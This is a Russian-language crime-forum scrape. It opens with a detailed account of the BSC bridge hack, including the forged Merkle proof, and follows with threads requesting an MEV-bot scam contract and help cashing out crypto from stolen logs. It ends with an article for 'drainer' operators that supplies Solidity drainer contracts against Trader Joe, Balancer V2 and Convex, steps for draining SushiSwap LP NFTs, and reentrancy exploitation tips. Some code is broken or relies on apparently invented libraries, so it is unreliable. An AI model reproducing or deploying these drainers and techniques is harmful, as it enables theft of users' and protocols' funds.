Объявление функции handlePackage в главном смарт-контракте BSC​

Эта функция также содержит модификатор onlyRelayer, который означает, что только релейщик может вызвать эту функцию.

Структура запроса на подтверждение транзакции

Релейщики в мостах обрабатывают специально отформатированные пакеты данных, поступающие с блокчейна А, извлекают из них необходимые параметры и транслируют их в сеть для передачи на блокчейн В. Чтобы зарегистрироваться в качестве релейщика, необходимо внести 100 токенов BNB и настроить устройство, подключенное к блокчейну, в соответствии с конфигурационным файлом. После регистрации ретранслятор начинает разбирать данные в таблице событий endBlock каждого блока сети и выбирать из нее все события IBCPackage.

bin_3.png
Структура запроса на проверку транзакции​

Параметр value имеет четыре атрибута, разделенных символом "::":

После обработки этого события ретранслятор обрабатывает пакет данных с транзакцией, отправленной из блокчейна А в блокчейн В. Ретранслятор извлекает из пакета следующие параметры:

Имя параметра ​| Размер ​| Значение
---|---|---
prefix​| 1 byte​| 0x00​
source chain CrossChainID​| 2 bytes​| Transaction source blockchain ID​
destination chain CrossChainID​| 2 bytes​| Transaction destination blockchain ID​
channelID​| 1 byte​| IBCPackage event channel ID​
sequence​| 8 bytes​| IBCPackage event sequence number​

Далее ретранслятор отправляет эти параметры, транзакционные данные, признак подтверждения транзакции (prove) и высоту блока в специальный запрос RPC, который вызывает функцию handlePackage контракта CrossChain:

bin_4.png
RPC-запрос к функции handlePackage​

Доказательство Меркла

В функции handlePackage вызывается функция validateMerkleProof [библиотеки ](https://github.com/bnb-chain/bsc-genesis- contract/blob/3a53258bbea380f33b9b53de8cbef9ab3e0c0348/contracts/MerkleProof.sol)[MerkleProof](https://github.com/bnb- chain/bsc-genesis- contract/blob/3a53258bbea380f33b9b53de8cbef9ab3e0c0348/contracts/MerkleProof.sol); используя метод staticcall по адресу 0x65, вызывается предварительно скомпилированный контракт iavlMerkleProofValidate. Этот контракт представляет собой библиотеку, написанную на языке Go, которая имеет ряд зависимостей (методов) кросс-цепочечного фреймворка Cosmos, реализующих функциональность доказательства Меркла.

bin_lib.png
Библиотека MerkleProof​

Эти зависимости вызываются в функции Run контракта iavlMerkleProofValidate в строках 8, 9 и 16:

bin_lib2.png
Функция Run прекомпилированного контракта iavlMerkleProofValidate​

Вызванный метод op.Proof.ComputeRootHash() вычисляет хэш корня дерева AVL для листа дерева, содержащего проверяемую транзакцию. Далее метод op.Proof.Verify(root) сравнивает хэш корня дерева AVL с хэшем, вычисленным на предыдущем шаге. Если сравниваемые хэши отличаются, метод op.Proof.Verify(root) вернет ошибку, и передача транзакции с блокчейна A на блокчейн B будет отменена. Если хэши одинаковые, вызывается метод op.Proof.VerifyItem(op.key, value), в котором проверяется наличие хэша данных транзакции в дереве AVL. Если хэш найден, транзакция считается действительной и выполняется.

Уязвимость процесса проверки транзакций

Уязвимость процесса проверки транзакции связана с тем, как вычисляется и проверяется хэш корня дерева для транзакции. Функция ComputeRootHash вызывает метод pwl.Leaf.Hash():

bin_l1.png
Вызов функции Hash в функции computeRootHash​

Функция Hash правильно вычисляет корневой хэш в том случае, если левый лист в цепочке доказательств Меркла для проверяемой транзакции равен нулю, то есть не определен. Если же левый лист определен, то хэш корня дерева вычисляется без учета правого листа. Другими словами, если левый лист в цепочке доказательств Меркла для проверяемой транзакции определен, то значение корневого хэша дерева не будет зависеть от наличия правого листа в цепочке доказательств.

bin_l2.png
Уязвимость в вычислении корневого хэша​

Этот недостаток позволяет злоумышленникам записать полезную нагрузку в правый лист и успешно пройти проверку значения хэша корня дерева при условии, что хэш полезной нагрузки рассчитан правильно.

Сценарий атаки

Перед началом атаки злоумышленники внесли 100 BNB на контракт Relayer Hub, чтобы зарегистрироваться в качестве ретранслятора моста BSC.

Они использовали легитимную транзакцию, которая была использована для перевода 0,05 BNB с моста BSC два года назад. Они изменили полезную нагрузку, указав в качестве получателя адрес злоумышленника, и изменили сумму до 1 млн. БНБ:

| Оригинальная транзакция ​| Транзакция злоумышленников
---|---|---
Полезная нагрузка| 0x00000000000000000000000000000000000
00000000000000000038d7ea4c68000f86da0
424e420000000000000000000000000000000
0000000000000000000000000009400000000
0000000000000000000000000000000087b1a
2bc2ec50000944e656459ed25bf986eea1196
bc1b00665401645d94a10123c15a63135fe94
5a54232bae7fac8177056845fd12999| 0x00000000000000000000000000000000000
0000000000000000000000000000000f870a0
424e420000000000000000000000000000000
0000000000000000000000000009400000000
000000000000000000000000000000008ad3c
21bcecceda100000094489a8756c18c0b8b24
ec2a2b9ff3d4d447f79bec94489a8756c18c0
b8b24ec2a2b9ff3d4d447f79bec846553f100

Содержимое полезной нагрузки представляет собой структуру, закодированную в формате [RLP](https://ethereum.org/ru/developers/docs/data-structures-and- encoding/rlp/):

bin_5.png
Структура представления кодировки RLP​

Далее злоумышленники изменили содержимое переменной доказательства, добавив в дерево AVL правый лист с хэшем полезной нагрузки, и добавили пустой внутренний узел для балансировки дерева AVL:

Оригинальная структура доказательства транзакции ​| Структура доказательства транзакции злоумышленниками
---|---
RangeProof{
LeftPath: PathToLeaf{
0:proofInnerNode{
Height: 1
Size: 3
Version: 110217392
Left:
0C10F902D266C238A4CA9E26FA9BC36483CD3 EBEE4E263012F5E7F40C22EE4D2
Right:
}
1:proofInnerNode{
Height: -1
Size: 2
Version: 110217392
Left:
E4FD47BFFD1C06E67EDAD92B2BF9CA63631978676288A2AA99F95C459436EF63
Right:
}
}
InnerNodes:
Leaves:
proofLeafNode{
Key:
0000010038020000000000000002
ValueHash:
11056C6919F02D966991C10721684A8D1542E44003F9FFB47032C18995D4AC7F
Version: 110217392
}

(rootVerified): true
(rootHash):
E09159530585455058CF1785F411EA44230F39334E6E0F6A3C54DBF069DF2B62
(treeEnd): true
}| RangeProof{
LeftPath: PathToLeaf{
0:proofInnerNode{
Height: 1
Size: 3
Version: 110217392
Left:
0C10F902D266C238A4CA9E26FA9BC36483CD3 EBEE4E263012F5E7F40C22EE4D2
Right:
}
1:proofInnerNode{
Height: -1
Size: 2
Version: 110217392
Left:
E4FD47BFFD1C06E67EDAD92B2BF9CA63631978676288A2AA99F95C459436EF63
Right:
DA657C1FFB86C684EB3E265361EF0FA4F9DFA670B45F9F91C5EB6AD84B21A4D1
}
}
InnerNodes:
empty-PathToLeaf
Leaves:
proofLeafNode{
Key:
0000010038020000000000000002
ValueHash:
11056C6919F02D966991C10721684A8D1542E44003F9FFB47032C18995D4AC7F
Version: 110217392
}
proofLeafNode{
Key:
00000100380200000000010DD85C
ValueHash:
2C3A561458F8527B002B5EC3CAB2D308662798D6245D4588A4E6A80EBDFE30AC
Version: 1
}
(rootVerified): true
(rootHash):
E09159530585455058CF1785F411EA44230F39334E6E0F6A3C54DBF069DF2B62
(treeEnd): true
}

Из-за уязвимости содержимое добавленного правого листа не влияло на корневой хэш, поэтому мошенническая транзакция была успешно проверена. После проверки транзакции контракт CrossChain вызвал функцию для перевода 1 млн BNB с BSC на адрес злоумышленников. Далее злоумышленники попытались повторить транзакцию, но следующие 15 попыток были неудачными из-за неверного значения packageSequence. Однако на 16-й попытке им удалось найти правильное значение packageSequence и получить еще 1 млн BNB на свой адрес.

Далее, опасаясь замораживания и блокировки активов в БСК, злоумышленники начали выводить деньги с моста. Для отмывания они использовали Venus Finance DeFi: выпускали токены vBNB в обмен на BNB и использовали vBNB в качестве залога для займа BUSD, стейблкоина Binance. Затем, используя мосты Stargate и Anyswap, злоумышленники конвертировали BUSD в стабильные монеты USDT и USDC в нескольких блокчейнах: Ethereum, Avalanche, Fantom, Polygon, Arbitrum и Optimism.

bin_6.png
Цепочка отмывания украденных средств​


Реакция Binance и криптосообщества

После выявления атаки компания Binance приостановила и форкнула блокчейн BSC, не позволив злоумышленникам вывести более 400 миллионов долларов. После этого Tether, владелец стейблкоина USDT, заблокировал USDT-адрес злоумышленников, не позволив им отмыть часть украденных средств. Адреса злоумышленников были внесены в [черный список](https://github.com/bnb- chain/bsc/blob/cb131fabe5fb9570180e7030a293a984f17c2446/core/types/blacklist.go):

bin_7.png
Адрес злоумышленника добавлен в черный список BSC​


Устранение уязвимостей

Первоначально метод проверки дерева AVL предполагал, что для проверяемой транзакции может быть определен только правый или только левый лист дерева. Однако проверка одновременного присутствия правого и левого листьев в алгоритме проверки дерева AVL изначально отсутствовала, чем и воспользовался злоумышленник.

Вскоре после взлома было внесено исправление в метод доказательства AVL кросс- цепочечного фреймворка Cosmos:

bin_8.png
Изменения после устранения уязвимости в методе доказательства AVL фреймворка Cosmos​

В случае одновременного присутствия левого и правого листа дерева AVL проверка транзакции будет отклонена с соответствующей ошибкой.

Заключение

Взлом моста Binance Smart Chain Token Hub является примером использования уязвимости в стороннем компоненте, который мост использует для определения того, можно ли доверять транзакции и выполнять ее или отклонить. Хотя уязвимость была в стороннем компоненте, она нанесла большой финансовый ущерб мосту BSC. По всей видимости, до того, как она была устранена, эта уязвимость присутствовала и в других протоколах DeFi, использующих метод доказательства AVL в рамках межцепочечного фреймворка Cosmos. Однако, исходя из суммы средств, похищенных из BSC, можно предположить, что злоумышленники с самого начала охотились за джекпотом, зная, что после устранения уязвимости у них не будет второго шанса.

mevbot scam contract
ID: 67686ad7b4103b69df3796be
Thread ID: 123608
Created: 2024-09-27T10:49:34+0000
Last Post: 2024-09-30T20:51:20+0000
Author: shelbey20
Replies: 5 Views: 608

hey anyone know from where i can get the scam smart contract of the mev bot , withdrawal funds from contract once click on start ( the obfuscated recieved address ) .. this scam is alread old , but i need it for my personal usage . any help !

Как достать крипту из облачных логов при ее наличии?
ID: 67686ad7b4103b69df3798cb
Thread ID: 79071
Created: 2022-12-31T11:34:08+0000
Last Post: 2023-01-03T03:37:05+0000
Author: 731mir
Replies: 5 Views: 608

чекал приват облака через BLTools Wallets Searcher
Показывает что есть эфир, как обработать, прочекать на валид? Что с этим делать? Можно достать?
Логи разной свежести, от недели до месяца

Как провести транзакции биткоинов через собственный сервер и получить все деньги с комиссии
ID: 67686ad7b4103b69df3798a7
Thread ID: 81418
Created: 2023-02-07T09:26:40+0000
Last Post: 2023-02-09T16:18:53+0000
Author: ProgrammerMan
Replies: 10 Views: 607

Здравствуйте, интересует вопрос как можно провести транзакции биткоина через собственный/ые сервер/сервера и получить все деньги с комиссии?
Буду благодарен если кто нибудь поможет с этим вопросом

Набор информации для web3 энтузиастов [2]
ID: 67686ad7b4103b69df3797ce
Thread ID: 101682
Created: 2023-11-05T19:44:39+0000
Last Post: 2023-11-05T20:55:51+0000
Author: sabahulnoor
Prefix: Статья
Replies: 1 Views: 607

Привет!
Сначала ответы на вопросы.​

Спасибо за вопросы.

1699210857781.png
Как я понял, интерес был вызван вопросом о преимуществах использования Pulse в сочетании с Base.

Pulse chain - full-state форк Ethereum, что означает, что он содержит полное состояние блокчейна Ethereum, включая все токены ERC20 и NFT.
Значит ли это, что вы можете получить доступ к своим существующим Ethereum- активам на цепочке Pulse без необходимости их миграции? - Да.
Те самые преимущества более низких комиссий и высокой скорости, время блокировки составляет 3 секунды по сравнению с 15 секундами у Ethereum - что для вашего дрейнера например - must have.
По сути за каждый профит вы будете терять меньше $ за комиссии/газ.

Base chain - layer 2 масштабирование для Ethereum, то есть он (или цепь - она?) использует сайдчейн для обработки транзакций.
Полностью совместим с EVM, что означает - можно использовать те же смарт- контракты и инструменты, что и в Ethereum.
Преимущества безопасности в том, что Base периодически отправляет свои транзакции в mainnet для проверки. Но нужны ли нам преимущества безопасности в этой теме?
Можно получить доступ к экосистеме децентрализованных приложений и сервисов на чейне Base, которая поддерживается Coinbase, что значит для получения профитов необходимо(обязательно) юзать протоколы Uniswap, Compound или Aave для обеспечения ликвидности, заимствования или одалживания своих токенов на обеих цепочках сразу. Причём даже если это простой дрейнер, и ваша задача просто вылить всё что можно из кошелька человека, использовать связку будет самым правильным решением.
Pulse chain в качестве альтернативы первого, Base chain как солюшн второго уровней и переключаться между двумя цепочками по своему усмотрению, в зависимости от своих потребностей и предпочтений.
Как вы понимаете, благодаря MetaMask возможно подключения сразу к обеим цепочкам и взаимодействие с нужными смарт-контрактами.

Используя связку pulse и base можно также юзаь смарт-контракты storefront в качестве шлюза какого-нибудь dApp в другой сети блокчейна. (Storefront - смартконтракты обеспечивающие взаимодействие и совместимость между различными чейнами. Например предположим, есть биржа (DEX) на эфире, и юзер хочет обменять некоторые токены на этой бирже, используя свои средства на BSC. Вместо того чтобы переводить свои средства с BSC на Ethereum, что может повлечь за собой большие комиссии, человек может использовать storefront контракт на BSC, который подключается к бирже на Ethereum. Storefront может облегчить процесс отправляя средства пользователя на биржу, получая токены с биржи и отправляя их обратно пользователю на BSC. Очень удобно и легко в исполнении)

Конечно же в этом всём существуют и некоторые недостатки и риски, нам о них следует знать потому, что мы получаем выгоду напрямую из них.
Например как было сказано - Base chain полагается на секвенсор.

Нам, как тем кто нацелен дрейнить всё и вся это бесполезно и в принципе похер.
Но что если использовать эту уязвимость?
Cencorship - секвенсор отказывается включать в пакет определенные транзакции или пользователей, фактически блокируя им доступ к сети. Это влияет на доступность сети, по сути способ лишить пользователей возможности выводить средства или взаимодействовать с ними.
Реордеринг(reordering) - это когда секвенсор изменяет порядок транзакций в пакете, давая себе несправедливое преимущество перед другими пользователями. Влияет на целостность и безопасность сети, позволяет секвенсору выполнять вредоносные транзакции, такие как опережающие, обратные или флешлоаны.

Если вам интересно, вдруг, почему бы и нет, вот вам примеры того как это делается в коде. Если вы вдруг решите заняться reverse engineering'ом.

В коде для взаимодействия с basechain используется JavaScript.

Коннект к секвенсору выглядит так:

Code:Copy to clipboard

const { Client } = require("basechain");

const client = new Client();

client.connect();

Создаётся клиент с дефолтными настройками и подключается.

Верификация(процесс 'сверить с etherium mainnet') так:

Code:Copy to clipboard

const { StateRootVerifier } = require("basechain");

const verifier = new StateRootVerifier(client);

const stateRoot = client.getStateRoot();

verifier.verify(stateRoot);

Создание верификатора состояния с клиентом, получение последнего состояния из секвенсора, проверить состояние по сети Ethereum.

const { FraudProver } = require("basechain");

Отправка доказательства фрода в сеть Ethereum:

Code:Copy to clipboard

const prover = new FraudProver(client);

const txHash = "0xсюдаХешЗалетает";
const proofData = "0xсюдаПруф";

const fraudProof = prover.generate(txHash, proofData);

prover.submit(fraudProof);

Получаем хэш транзакции и данные для пруфа, генерируем пруфы фрода, отправляем это в сеть Ethereum.

Не могу придумать, что ещё написать в данном ответе, так как не до конца понял вопрос, поэтому перехожу к следующему.

1699211568168.png

Есть преимущества применения Geth?
Небольшой мисандерстендинг в вопросе видимо. Они применяются для разных дел.
Geth и другие языки и Solidity нельзя сравнивать напрямую, т.к. они выполняют разные задачи в экосистеме Эфира.

Geth это программное обеспечение которое запускает полноценную ноду блокчейна Ethereum, то есть он может подтверждать транзакции, выполнять смарт-контракты и синхронизироваться с другими узлами.
Solidity это язык, используемый для написания смарт-контрактов, которые могут выполняться на Ethereum (EVM).
Можно использовать Geth для развертывания и взаимодействия со смартконтрактами, написанными на Solidity, но нельзя использовать Solidity для запуска ноды или доступа к сети.

1699211642176.png
В чём прикол рандомизации?
Мы можем избежать некоторые проблемы с помощью рандомизации.

Во первых наши смартконтракты могут быть флагнуты. Определены как вредоносные, таким образом они вообще не смогут нормально функционировать, а я напомню что хороший контракт с прописанными функциями стоит хороших $ чтобы его задеплоить, и так же неплохо забирает $ за каждое взаимодействие с ним, по сути это просто палки в колёса. Избежать можно только благодаря рандомизации.

Во вторых если мы говорим о том что мы, как фродеры пишем наши смарт- контракты, чтобы использовать уязвимости в чужих контрактах, то что мешает остальным использовать наши контракты, чтобы переливать весь профит себе?

Например из последнего, какие атаки мы знаем?

Front-Running атаки, при которых злоумышленники могут наблюдать за транзакциями, находящимися в мемпуле, и использовать эту информацию в своих интересах, например, подавая более высокую плату за газ, чтобы их транзакция была выполнена раньше первоначальной.
Рандомизация позволяет затруднить фродеру анализ выполнения контракта и, таким образом, снизить риск от таких атак.

Атаки с использованием reverse инжиниринга , в ходе которых наши соперники декомпилируют и проверяют байткод смарт-контрактов, чтобы найти уязвимости, лазейки которые можно использовать.
Рандомизация кода смарт-контракта позволяет обфусцировать и защитить логику и данные от легкого понимания и манипулирования им.

Атаки с повторным использованием , в ходе которых кто-то может скопировать и задеплоить код смарт-контракта без вашего разрешения или ведома и использовать его своих целях, например для кражи средств, выдачи себя за другого человека. Рандомизация затрудняет повторное использование кода и тем самым сохраняет его оригинальность/целостность.

Приведу пример с интересным событием, произошло оно совсем недавно.

1699211844500.png
Фродер рассылал многочисленные свопы с небольшой прибылью, чтобы заманить MEV ботов. Человек продолжал запрещать безопасным ботам любые дальнейшие переводы, чтобы продолжать работать с уязвимыми.

1699212076339.png
В процессе исследования кода, была обнаружена незащищенная функция "update(address, bytes)", которая записывала в память адрес и массив байтов.
Эта функция использовалась для запуска колбеков от MEV ботов при передаче токенов.

1699212140536.png
И один парнишка из твиттера очень быстро написал код скрипта бэкраннера.
Каждый раз, когда наш фродер вызывал команду "update", скрипт немедленно отправлял второй апдейт с заменой адреса на контракт, перезаписывающий его настройки. Этот контракт запускал апдейт внутренне, что сделало его незаметным.

1699212195922.png
Через 22 часа от запуска скрипта фродер нацелился на арбитражного бота с 66 $ETH на счету.
Скрипт успешно переписал его callback, подмена оказалась эффективной. Бот одобрил не фродера, а человека с твиттера на все свои WETH.

1699212293520.png
Сначала твиттербой не понял что случился Approve в его сторону, но потом дошло, фродер пытался перевести 66,5 WETH с арбитражного бота, но у него ничего не получилось, так как Approve был адресован другому человеку.

1699212359814.png

Криптан из твиттера тут же перешел на вкладку "Write Contract" на Etherscan'е для WETH, чтобы защитить 66 $ETH от арбитражного бота.
Использовал brute-forsed адрес, очень похожий на адрес фродера, чтобы скрыть его еще больше.

Менее чем через 10 минут фродер(ебанат) начал написывать в Discord твитербою, чтобы выразить свое недовольство.

А теперь переходим к делам насущным.​

SushiSwap v3 NFT
Используем уязвимость в протоколе SushiSwap v3 для дрейна nft-LP из SushiSwap.
Эти NFT представляют собой позиции поставщиков ликвидности в пулах SushiSwap v3, и их можно передавать, обменивать или продавать на вторичных рынках.
Однако они также имеют функцию decreaseLiquidity, которая позволяет владельцу частично или полностью уничтожить ликвидность пула и получить взамен соответствующие токены. Эта функция не проверяет, является ли вызывающая сторона реальным владельцем NFT, поэтому любой может вызвать ее с NFT ID и получить профит.

Используя эту уязвимость, прочекайте контракт SushiSwap v3 на наличие существующих NFT ID и вызывайте функцию decreaseLiquidity с каждым ID и ставьте большее количество ликвидности для снятия. Таким образом, ликвидность из NFT выводится и передается нашему контракту, который затем может продать или обменять токены с прибылью. Наш фрод контракт также может использовать флэш-кредиты для увеличения своего капитала и вывода еще большего объема ликвидности из НФТ.

Чтобы определить уязвим ли контракт ищем подобный модификатор:

Code:Copy to clipboard

modifier onlyNFTOwner(uint256 tokenId) {
    require(ownerOf(tokenId) == msg.sender, "Caller is not the owner");
    _;
}

function decreaseLiquidity(
    uint256 tokenId,
    uint128 liquidity,
    uint256 amount0Min,
    uint256 amount1Min
) external onlyNFTOwner(tokenId) {

}

Если не находим - наша взяла, слава отсутствию модификаторов.

Команда SushiSwap уже признала наличие этой проблемы и выпустила новую версию контракта SushiSwap v3, в которой уязвимость устранена. Велели долго жить и рекомендовали как можно скорее перевести свои НФТ на новый контракт и не покупать и не продавать их по старому контракту, собственно основные контракты SushiSwap не затронуты этой проблемой, и протокол SushiSwap v3 продолжает работать.

Уязвимость в liquidity book model компании Trader Joe
Модель книги ликвидности это способ организации ликвидных позиций по ценовым диапазонам, которые представлены взаимозаменяемыми токенами, которыми можно торговать, делать ставки или использовать в качестве залога.
Однако, это также означает, что любой может создать смарт-контракт, который будет взаимодействовать с этими токенами и выводить ликвидность из позиций, оставляя первоначальных владельцев с ничего не стоящими токенами.

Примером "отсоса" позиций Trader Joe NFTs является смарт-контракт, который делает следующее:

Принимает от злоумышленника-атакера большое количество токенов AVAX в качестве входных данных.

Обменивает токены AVAX на токены JOE, используя функцию обмена на сайте Trader Joe.

Использует токены JOE для создания позиции ликвидности в пуле JOE-AVAX, который представлен сменным токеном JOE-AVAX LP.

Размещает токен JOE-AVAX LP в ферме Trader Joe, которая приносит ревард в токенах JOE.

Периодически он снимает реварды и обменивает их на токены AVAX в обменнике Trader Joe.

Повторяет описанные выше действия до тех пор, пока пул JOE-AVAX не исчерпает ликвидность, в результате чего другие держатели токенов JOE-AVAX LP не получат никакой ценности в своих токенах.

После этого он снимает токены AVAX из смарт-контракта и переводит их на кошелек атакера.

Код такого смарт-контракта может выглядеть следующим образом:

Code:Copy to clipboard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface ITraderJoe {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    
    function stake(uint256 _pid, uint256 _amount) external;
    
    function withdraw(uint256 _pid, uint256 _amount) external;
    
    function pendingJoe(uint256 _pid, address _user) external view returns (uint256);
}

contract TraderJoeNFTsPositionsDrainer is ReentrancyGuard {
    using SafeMath for uint256;

    address constant AVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
    address constant JOE = 0x6e84a6216eA6dACC71eE8E6b0a5B7322EEbC0fDd;
    address constant TRADER_JOE_ROUTER = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
    
    uint256 constant JOE_AVAX_PID = 0;
    
    uint256 constant AVAX_AMOUNT = 100 ether;
    
    uint256 constant JOE_AMOUNT_MIN = 1000 ether;
    
    uint256 constant LIQUIDITY_AMOUNT_MIN = 100 ether;
    
    address payable attacker;
    
    ITraderJoe traderJoe = ITraderJoe(TRADER_JOE_ROUTER);
    
    constructor(address payable _attacker) {
        attacker = _attacker;
    }
    
    receive() external payable {}
    
    function drain() external nonReentrant {
        address[] memory path = new address;
        path[0] = AVAX;
        path[1] = JOE;
        traderJoe.swapExactTokensForTokens(
            AVAX_AMOUNT,
            JOE_AMOUNT_MIN,
            path,
            address(this),
            block.timestamp
        );
        
        uint256 joeBalance = IERC20(JOE).balanceOf(address(this));
        traderJoe.addLiquidity(
            JOE,
            AVAX,
            joeBalance,
            AVAX_AMOUNT,
            joeBalance,
            AVAX_AMOUNT,
            address(this),
            block.timestamp
        );
        
        uint256 liquidityBalance = IERC20(JOE_AVAX_LP).balanceOf(address(this));
        traderJoe.stake(JOE_AVAX_PID, liquidityBalance);
        
        uint256 pendingRewards = traderJoe.pendingJoe(JOE_AVAX_PID, address(this));
        traderJoe.withdraw(JOE_AVAX_PID, 0);
    
        path[0] = JOE;
        path[1] = AVAX;
        traderJoe.swapExactTokensForTokens(
            pendingRewards,
            0,
            path,
            address(this),
            block.timestamp
        );
        
  
        uint256 avaxBalance = IERC20(AVAX).balanceOf(address(this));
        IERC20(AVAX).transfer(attacker, avaxBalance);
    }
}

Balancer2 LPs
Balancer V2 - это децентрализованная биржа и автоматический маркет-мейкер, позволяющий пользователям создавать пользовательские пулы ликвидности с несколькими токенами и различными весами. Однако некоторые пулы могут содержать токены, имеющие сложную логику или взаимодействующие с другими контрактами, такими как флэш-кредиты, rebase или функции управления. Такие токены могут быть подвержены манипуляциями их ценами или балансом во время свопа, что приводит к потере средств пула и его поставщиков ликвидности.

Одним из примеров является контракт, который может вытягивать ликвидность токена, когда он заблокирован в пуле.
Контракт работает следующим образом: он берет флэш-кредит на большую сумму ETH у кредитной платформы, такой как Aave или dYdX, и затем использует его для обмена на целевой токен в пуле Balancer V2. Затем контракт вызывает функцию на целевом токене, которая переводит баланс пула на адрес злоумышленника, фактически лишая его ликвидности. Затем контракт погашает флэш-кредит небольшим количеством ETH, а остальную прибыль оставляет себе.

Привожу сладкий примерчик кода:

Code:Copy to clipboard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

interface IAave {
    function flashLoan(
        address receiverAddress,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata modes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}

interface IBalancerV2 {
    function swap(
        address assetIn,
        address assetOut,
        uint256 amountIn,
        uint256 minAmountOut,
        address to
    ) external;
}

interface ITargetToken {
    function drain(address to) external;
}

contract LiquidityDrainerV2 is Ownable {
    using SafeERC20 for IERC20;
    using Address for address payable;

    address public constant AAVE = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
    address public constant WETH = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
    address public constant BALANCER_V2 = 0x4e67bf5bD28Dd4b570FBAFe11D0633eCbA2754Ec;
    address public targetToken;

    constructor(address _targetToken) {
        targetToken = _targetToken;
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external {
        require(msg.sender == AAVE, "Invalid sender");
        require(initiator == address(this), "Invalid initiator");

        uint256 amountIn = amounts[0];
        IBalancerV2(BALANCER_V2).swap(WETH, targetToken, amountIn, 0, address(this));

        ITargetToken(targetToken).drain(address(this));

        uint256 amountOut = amountIn + premiums[0];
        IERC20(WETH).safeTransfer(AAVE, amountOut);
    }

    function drain() external onlyOwner {
        address[] memory assets = new address;
        assets[0] = WETH;
        uint256[] memory amounts = new uint256;
        amounts[0] = 1e18;
        uint256[] memory modes = new uint256;
        modes[0] = 0;
        bytes memory params = "";
        uint16 referralCode = 0;

        IAave(AAVE).flashLoan(
            address(this),
            assets,
            amounts,
            modes,
            address(this),
            params,
            referralCode
        );
    }

    function withdraw(address token, address to) external onlyOwner {
        uint256 balance = IERC20(token).balanceOf(address(this));
        IERC20(token).safeTransfer(to, balance);
    }

    function withdrawETH(address payable to) external onlyOwner {
        uint256 balance = address(this).balance;
        to.sendValue(balance);
    }
}

Или же например немного иной подход. Прекрасные реверс инженеры обнаружили способ манипулирования балансами пулов и извлечения из них средств без уплаты каких-либо комиссий или скольжения. Для этого создается поддельный токен, который взаимодействует с контрактом Balancer V2 и заставляет его думать, что ликвидность пула выше, чем на самом деле.
Это может затронуть любой пул Balancer, содержащий хотя бы один токен с пользовательской логикой передачи, например, дефляционные или ребазовые токены.

Кстати к месту или нет, но если в контрактах к балансеру и есть уязвимости, то используйте паттерн Checks-Effects-Interactions, то есть обновляйте переменные состояния чужого контракта.
Например, если вместо этого
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
balanceOf[msg.sender] -= amount;
msg.sender.call.value(amount)("");
}

Вы видите это

function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
msg.sender.call.value(amount)("");
balanceOf[msg.sender] -= amount;
}

То вы можете обновлять состояния до того как они будут обновлены самим контрактом.

Convex staked cvxCRV
Смарт-контракт, снимающий реводр с токенов cvxCRV.
cvxCRV - это токен, который представляет собой требование по оплате административных услуг Curve и комиссии платформы Convex за размещение токенов CRV на платформе Convex Finance. При размещении cvxCRV на Convex также зарабатываются токены CVX, которые являются собственными токенами платформы.

Контракт может быть развернут любым лицом, желающим использовать реворд от размещения cvxCRV без фактического владения или блокировки каких-либо токенов CRV. Контракт работает путем заимствования токенов cvxCRV у кредитной платформы, такой как Aave или Compound, и последующего размещения их на Convex. Затем контракт получает вознаграждение за ставку, например 3CRV, CRV и CVX, и продает их с прибылью. Затем контракт возвращает заимствованные токены cvxCRV и повторяет процесс.
Предположим что контракт может заимствовать и возвращать токены cvxCRV с кредитной платформы с помощью одного вызова функции. В контракте также предполагается наличие функции свопа, которая может обменять любой токен на любой другой токен по наилучшему рыночному курсу.

Код для вашего удобства, пользуйтесь на здоровье

Code:Copy to clipboard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IConvex {
    function stake(uint256 _amount) external;
    function claim() external returns (bool);
    function withdraw(uint256 _amount) external returns (bool);
    function balanceOf(address _account) external view returns (uint256);
}

interface ILending {
    function borrow(uint256 _amount) external;
    function repay(uint256 _amount) external;
}

interface ISwap {
    function swap(address _from, address _to, uint256 _amount) external returns (uint256);
}

contract Drainer {
    address public constant cvxCRV = 0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7;
    address public constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;
    address public constant CVX = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B;
    address public constant convex = 0xF403C135812408BFbE8713b5A23a04b3D48AAE31;
    address public constant lending = 0x(адрес платформы лендинга сюда);
    address public constant swap = 0x(и адрес платформы для свапа сюда);

 
    address public owner;


    constructor() {
        owner = msg.sender;
    }


    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner");
        _;
    }


    function drain() external onlyOwner {       
        uint256 amount = 1000 * 1e18;
        ILending(lending).borrow(amount);

        IConvex(convex).stake(amount);

        IConvex(convex).claim();

        IConvex(convex).withdraw(amount);

        ILending(lending).repay(amount);

        uint256 crvBalance = IERC20(CRV).balanceOf(address(this));
        uint256 cvxBalance = IERC20(CVX).balanceOf(address(this));
        ISwap(swap).swap(CRV, cvxCRV, crvBalance);
        ISwap(swap).swap(CVX, cvxCRV, cvxBalance);

        uint256 profit = IERC20(cvxCRV).balanceOf(address(this));
        IERC20(cvxCRV).transfer(owner, profit);
    }
}

Camelot
Контракт для получения ликвидности из его пулов.

